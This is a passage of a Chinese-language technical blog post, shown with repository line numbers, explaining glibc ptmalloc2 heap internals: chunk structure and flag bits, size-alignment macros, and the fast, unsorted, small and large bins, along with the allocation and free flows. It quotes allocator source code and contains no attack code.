{% endraw %} 177 | 178 | 其中`INTERNAL_SIZE_T`默认和`size_t`相同: 179 | ```c 180 | #ifndef INTERNAL_SIZE_T 181 | #define INTERNAL_SIZE_T size_t 182 | #endif 183 | ``` 184 | 185 | 在后面介绍 chunk 和 bin 的时候,我们会发现其中几个字段的作用,`malloc_chunk`我们也会在后面看到。 186 | 187 | 对于`arena`中只有单个堆的情况: 188 | ![Single Heap](https://docs.google.com/drawings/d/1367fdYcRTvkyfZ_s27yg6oJp5KYsVAuYqPf8szbRNc0/pub?w=960&h=720) 189 | 190 | 对于`non_main_arena`中有多个堆的情况: 191 | ![Multiple Heap](https://docs.google.com/drawings/d/150bTi0uScQlnABDImLYS8rWyL82mmfpMxzRbx-45UKw/pub?w=960&h=720) 192 | 193 | 注意到有多个堆的情况下,旧的堆的 Top chunk 会被认为是普通的空闲块。 194 | 195 | ## Chunk 的结构 196 | 197 | 通俗地说,一块由分配器分配的内存块叫做一个 chunk,包含了元数据和用户数据。具体一点,chunk 完整定义如下: 198 | 199 | ```c 200 | struct malloc_chunk { 201 | INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ 202 | INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ 203 | struct malloc_chunk* fd; /* double links -- used only if free. */ 204 | struct malloc_chunk* bk; 205 | /* Only used for large blocks: pointer to next larger size. */ 206 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ 207 | struct malloc_chunk* bk_nextsize; 208 | }; 209 | 210 | typedef struct malloc_chunk* mchunkptr; 211 | ``` 212 | 这里出现的6个字段均为元数据。 213 | 214 | 一个 chunk 可以是以下几种类型之一: 215 | 216 | - 已分配的(Allocated chunk) 217 | - 空闲的(Free chunk) 218 | - Top chunk 219 | - Last Remainder chunk 220 | 221 | 我们一个一个来看。 222 | 223 | ### Allocated chunk 224 | 225 | ![Allocated chunk](https://docs.google.com/drawings/d/1eLkG-WF9U3O_ytNs6iFKHacqkjWZeY4KtLqxmd01EVs/pub?w=962&h=682) 226 | 227 | 第一个部分(32 位上 4B,64 位上 8B)叫做`prev_size`,只有在前一个 chunk 空闲时才表示前一个块的大小,否则这里就是无效的,可以被前一个块征用(存储用户数据)。 228 | 229 | > 这里的前一个chunk,指内存中相邻的前一个,而不是freelist链表中的前一个。`PREV_INUSE`代表的“前一个chunk”同理。 230 | 231 | 第二个部分的高位存储当前 chunk 的大小,低 3 位分别表示: 232 | 233 | - P: `PREV_INUSE` 之前的 chunk 已经被分配则为 1 234 | - M: `IS_MMAPED` 当前 chunk 是`mmap()`得到的则为 1 235 | - N: `NON_MAIN_ARENA` 当前 chunk 在`non_main_arena`里则为 1 236 | 237 | 对应源码如下: 238 | ```c 239 | /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ 240 | #define PREV_INUSE 0x1 241 | 242 | /* extract inuse bit of previous chunk */ 243 | #define prev_inuse(p) ((p)->size & PREV_INUSE) 244 | 245 | 246 | /* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */ 247 | #define IS_MMAPPED 0x2 248 | 249 | /* check for mmap()'ed chunk */ 250 | #define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED) 251 | 252 | 253 | /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained 254 | from a non-main arena. This is only set immediately before handing 255 | the chunk to the user, if necessary. */ 256 | #define NON_MAIN_ARENA 0x4 257 | 258 | /* check for chunk from non-main arena */ 259 | #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) 260 | ``` 261 | 262 | 你可能会有几个困惑: 263 | 1. `fd`、`bk`、`fd_nextsize`、`bk_nextsize`这几个字段去哪里了? 264 | 对于已分配的 chunk 来说它们没用,所以也被征用了,用来存储用户数据。 265 | 266 | 2. 为什么第二个部分的低 3 位就这么被吞了而不会影响`size`? 267 | 这是因为`malloc`会将用户申请的内存大小转化为实际分配的内存,以此来满足(至少)8字节对齐的要求,同时留出额外空间存放 chunk 头部。由于(至少)8字节对齐了,低3位自然就没用了。在获取真正的`size`时,会忽略低3位: 268 | ```c 269 | /* 270 | Bits to mask off when extracting size 271 | 272 | Note: IS_MMAPPED is intentionally not masked off from size field in 273 | macros for which mmapped chunks should never be seen. This should 274 | cause helpful core dumps to occur if it is tried by accident by 275 | people extending or adapting this malloc. 276 | */ 277 | #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) 278 | 279 | /* Get size, ignoring use bits */ 280 | #define chunksize(p) ((p)->size & ~(SIZE_BITS)) 281 | ``` 282 | 283 | 3. `malloc`是如何将申请的大小转化为实际分配的大小的呢? 284 | 核心在于`request2size`宏: 285 | ```c 286 | /* pad request bytes into a usable size -- internal version */ 287 | 288 | #define request2size(req) \ 289 | (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ 290 | MINSIZE : \ 291 | ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) 292 | ``` 293 | 294 | 其中用到的其它宏定义: 295 | ```c 296 | # define MALLOC_ALIGNMENT (2 *SIZE_SZ) 297 | 298 | /* The corresponding bit mask value */ 299 | #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) 300 | 301 | /* The smallest possible chunk */ 302 | #define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize)) 303 | 304 | /* The smallest size we can malloc is an aligned minimal chunk */ 305 | #define MINSIZE \ 306 | (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) 307 | ``` 308 | 309 | 4. 这里还有一个`mem`指针,是做什么用的? 310 | 这是调用`malloc`时返回给用户的指针。实际上,真正的chunk 是从`chunk`指针开始的。 311 | ```c 312 | /* The corresponding word size */ 313 | #define SIZE_SZ (sizeof(INTERNAL_SIZE_T)) 314 | 315 | /* conversion from malloc headers to user pointers, and back */ 316 | 317 | #define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ)) 318 | #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) 319 | ``` 320 | 321 | 5. 用户申请的内存大小就是用户数据可用的内存大小吗? 322 | 不一定,原因还是字节对齐问题。要获得可用内存大小,可以用`malloc_usable_size()`获得,其核心函数是: 323 | ```c 324 | static size_t 325 | musable (void *mem) 326 | { 327 | mchunkptr p; 328 | if (mem != 0) 329 | { 330 | p = mem2chunk (mem); 331 | 332 | if (__builtin_expect (using_malloc_checking == 1, 0)) 333 | return malloc_check_get_size (p); 334 | 335 | if (chunk_is_mmapped (p)) 336 | return chunksize (p) - 2 * SIZE_SZ; 337 | else if (inuse (p)) 338 | return chunksize (p) - SIZE_SZ; 339 | } 340 | return 0; 341 | } 342 | ``` 343 | 344 | ### Free chunk 345 | 346 | ![Free chunk](https://docs.google.com/drawings/d/1YrlnGa081NpO0D3wcoaJbGvhnPi3X6bBKMc3bN4-oZQ/pub?w=940&h=669) 347 | 348 | 首先,`prev_size`必定存储上一个块的用户数据,因为 Free chunk 的上一个块必定是 Allocated chunk,否则会发生合并。 349 | 350 | 接着,多出来的`fd`指向同一个 bin 中的前一个 Free chunk,`bk`指向同一个 bin 中的后一个 Free chunk。 351 | 352 | 这里提到了 bin,我们将在后面介绍。 353 | 354 | 此外,对于 large bins 中的 Free chunk,`fd_nextsize`与`bk_nextsize`会生效,分别指向 large bins 中前一个(更大的)和后一个(更小的)空闲块。 355 | 356 | ### Top chunk 357 | 358 | 一个`arena`顶部的 chunk 叫做 Top chunk,它不属于任何 bin。当所有 bin 中都没有空闲的可用 chunk 时,我们切割 Top chunk 来满足用户的内存申请。假设 Top chunk 当前大小为 N 字节,用户申请了 K 字节的内存,那么 Top chunk 将被切割为: 359 | 360 | - 一个 K 字节的 chunk,分配给用户 361 | - 一个 N-K 字节的 chunk,称为 Last Remainder chunk 362 | 363 | 后者成为新的 Top chunk。如果连 Top chunk 都不够用了,那么: 364 | 365 | - 在`main_arena`中,用`brk()`扩张 Top chunk 366 | - 在`non_main_arena`中,用`mmap()`分配新的堆 367 | 368 | > 注:Top chunk 的 PREV_INUSE 位总是 1 369 | 370 | ### Last Remainder chunk 371 | 372 | 当需要分配一个比较小的 K 字节的 chunk 但是 small bins 中找不到满足要求的,且 Last Remainder chunk 的大小 N 能满足要求,那么 Last Remainder chunk 将被切割为: 373 | 374 | - 一个 K 字节的 chunk,分配给用户 375 | - 一个 N-K 字节的 chunk,成为新的 Last Remainder chunk 376 | 377 | 它的存在使得连续的小空间内存申请,分配到的内存都是相邻的,从而达到了更好的局部性。 378 | 379 | ## Bin 的结构 380 | 381 | bin 是实现了空闲链表的数据结构,用来存储空闲 chunk,可分为: 382 | 383 | - 10 个 fast bins,存储在`fastbinsY`中 384 | - 1 个 unsorted bin,存储在`bin[1]` 385 | - 62 个 small bins,存储在`bin[2]`至`bin[63]` 386 | - 63 个 large bins,存储在`bin[64]`至`bin[126]` 387 | 388 | 还是一个一个来看。 389 | 390 | ### fast bins 391 | 392 | 非常像高速缓存 cache,主要用于提高小内存分配效率。相邻空闲 chunk 不会被合并,这会导致外部碎片增多但是`free`效率提升。注意 fast bins 是 10 个 **LIFO 的单链表**。最后三个链表保留未使用。 393 | 394 | chunk大小(含chunk头部):0x10-0x40(64位0x20-0x80)B,相邻bin存放的大小相差0x8(0x10)B。 395 | 396 | ![fast bins](https://docs.google.com/drawings/d/144diIfbLqUmOPlAWbtP45mGsZlIl3PZWJvvH-cvQziU/pub?w=960&h=720) 397 | 398 | > 注:加入 fast bins 的 chunk,它的`IN_USE`位(准确地说,是下一个 chunk 的`PREV_INUSE`位)依然是 1。这就是为什么相邻的“空闲”chunk 不会被合并,因为它们根本不会被认为是空闲的。 399 | 400 | 关于fastbin最大大小,参见宏`DEFAULT_MXFAST`: 401 | ```c 402 | #ifndef DEFAULT_MXFAST 403 | #define DEFAULT_MXFAST (64 * SIZE_SZ / 4) 404 | #endif 405 | ``` 406 | 在初始化时,这个值会被赋值给全局变量`global_max_fast`。 407 | 408 | 申请fast chunk时遵循`first fit`原则。释放一个fast chunk时,首先检查它的大小以及对应fastbin此时的第一个chunk `old`的大小是否合法,随后它会被插入到对应fastbin的链表头,此时其`fd`指向`old`。 409 | 410 | ### unsorted bin 411 | 412 | 非常像缓冲区 buffer,大小超过 fast bins 阈值的 chunk 被释放时会加入到这里,这使得 ptmalloc2 可以复用最近释放的 chunk,从而提升效率。 413 | 414 | unsorted bin 是一个双向循环链表,chunk 大小:大于`global_max_fast`。 415 | ![unsorted bin](https://docs.google.com/drawings/d/1Kf_eg7uB2mRjSOasTc4dIu5fuBpTAK0GxbnKVTkZd0Y/pub?w=1217&h=865) 416 | 417 | 当程序申请大于`global_max_fast`内存时,分配器遍历unsorted bin,每次取最后的一个unsorted chunk。 418 | 419 | 1. 如果unsorted chunk满足以下四个条件,它就会被切割为一块满足申请大小的chunk和另一块剩下的chunk,前者返回给程序,后者重新回到unsorted bin。 420 | - 申请大小属于small bin范围 421 | - unosrted bin中只有该chunk 422 | - 这个chunk同样也是last remainder chunk 423 | - 切割之后的大小依然可以作为一个chunk 424 | 425 | 2. 否则,从unsorted bin中删除unsorted chunk。 426 | - 若unsorted chunk恰好和申请大小相同,则直接返回这个chunk 427 | - 若unsorted chunk属于small bin范围,插入到相应small bin 428 | - 若unsorted chunk属于large bin范围,则跳转到3。 429 | 3. 此时unsorted chunk属于large bin范围。 430 | - 若对应large bin为空,直接插入unsorted chunk,其`fd_nextsize`与`bk_nextsize`指向自身。 431 | - 否则,跳转到4。 432 | 4. 到这一步,我们需按大小降序插入对应large bin。 433 | - 若对应large bin最后一个chunk大于unsorted chunk,则插入到最后 434 | - 否则,从对应large bin第一个chunk开始,沿`fd_nextsize`(即变小)方向遍历,直到找到一个chunk `fwd`,其大小小于等于unsorted chunk的大小 435 | - 若`fwd`大小等于unsorted chunk大小,则插入到`fwd`后面 436 | - 否则,插入到`fwd`前面 437 | 438 | 直到找到满足要求的unsorted chunk,或无法找到,去top chunk切割为止。 439 | 440 | ### small bins 441 | 442 | 小于 0x200(0x400)B 的 chunk 叫做 small chunk,而 small bins 可以存放的就是这些 small chunks。chunk 大小同样是从 16B 开始每次+8B。 443 | 444 | small bins 是 62 个双向循环链表,并且是 FIFO 的,这点和 fast bins 相反。同样相反的是相邻的空闲 chunk 会被合并。 445 | 446 | chunk大小:0x10-0x1f0B(0x20-0x3f0),相邻bin存放的大小相差0x8(0x10)B。 447 | 448 | 释放非fast chunk时,按以下步骤执行: 449 | 1. 若前一个相邻chunk空闲,则合并,触发对前一个相邻chunk的`unlink`操作 450 | 2. 若下一个相邻chunk是top chunk,则合并并结束;否则继续执行3 451 | 3. 若下一个相邻chunk空闲,则合并,触发对下一个相邻chunk的`unlink`操作;否则,设置下一个相邻chunk的`PREV_INUSE`为`0` 452 | 4. 将现在的chunk插入unsorted bin。 453 | 5. 若`size`超过了`FASTBIN_CONSOLIDATION_THRESHOLD`,则尽可能地合并fastbin中的chunk,放入unsorted bin。若top chunk大小超过了`mp_.trim_threshold`,则归还部分内存给OS。 454 | 455 | ```c 456 | #ifndef DEFAULT_TRIM_THRESHOLD 457 | #define DEFAULT_TRIM_THRESHOLD (128 * 1024) 458 | #endif 459 | 460 | #define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL) 461 | ``` 462 | 463 | ### large bins 464 | 465 | 大于等于 0x200(0x400)B 的 chunk 叫做 large chunk,而 large bins 可以存放的就是这些 large chunks。 466 | 467 | large bins 是 63 个双向循环链表,插入和删除可以发生在任意位置,相邻空闲 chunk 也会被合并。chunk 大小就比较复杂了: 468 | 469 | - 前 32 个 bins:从 0x200B 开始每次+0x40B 470 | - 接下来的 16 个 bins:每次+0x200B 471 | - 接下来的 8 个 bins:每次+0x1000B 472 | - 接下来的 4 个 bins:每次+0x8000B 473 | - 接下来的 2 个 bins:每次+0x40000B 474 | - 最后的 1 个 bin:只有一个 chunk,大小和 large bins 剩余的大小相同 475 | 476 | 注意同一个 bin 中的 chunks 不是相同大小的,按大小降序排列。这和上面的几种 bins 都不一样。而在取出chunk时,也遵循`best fit`原则,取出满足大小的最小chunk。 477 | 478 | ## 内存分配流程 479 | 480 | 我觉得这类复杂的流程比较需要靠流程图来理解,因此我画了一下: 481 | 482 | ![Qdiypn.png](https://s2.ax1x.com/2019/12/08/Qdiypn.png) 483 | 484 | 相关宏: 485 | 486 | ```c 487 | #define NBINS 128 488 | #define NSMALLBINS 64 489 | #define SMALLBIN_WIDTH MALLOC_ALIGNMENT 490 | #define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ) 491 | #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) 492 | 493 | #define in_smallbin_range(sz) \ 494 | ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) 495 | 496 | #ifndef DEFAULT_MMAP_THRESHOLD_MIN 497 | #define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024) 498 | #endif 499 | 500 | #ifndef DEFAULT_MMAP_THRESHOLD 501 | #define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN 502 | #endif 503 | ``` 504 | 505 | ## 内存释放流程 506 | 507 | ![3C7AKI.png](https://s2.ax1x.com/2020/02/17/3C7AKI.png) 508 | 509 | ## 参考资料 510 | 511 | - [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/) 512 | - [Understanding glibc malloc](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/) 513 | - [Syscalls used by malloc](https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/) 514 | - [glibc 内存管理 ptmalloc 源代码分析](https://paper.seebug.org/papers/Archive/refs/heap/glibc内存管理ptmalloc源代码分析.pdf) 515 | - [Painless intro to the Linux userland heap](https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/) 516 | --------------------------------------------------------------------------------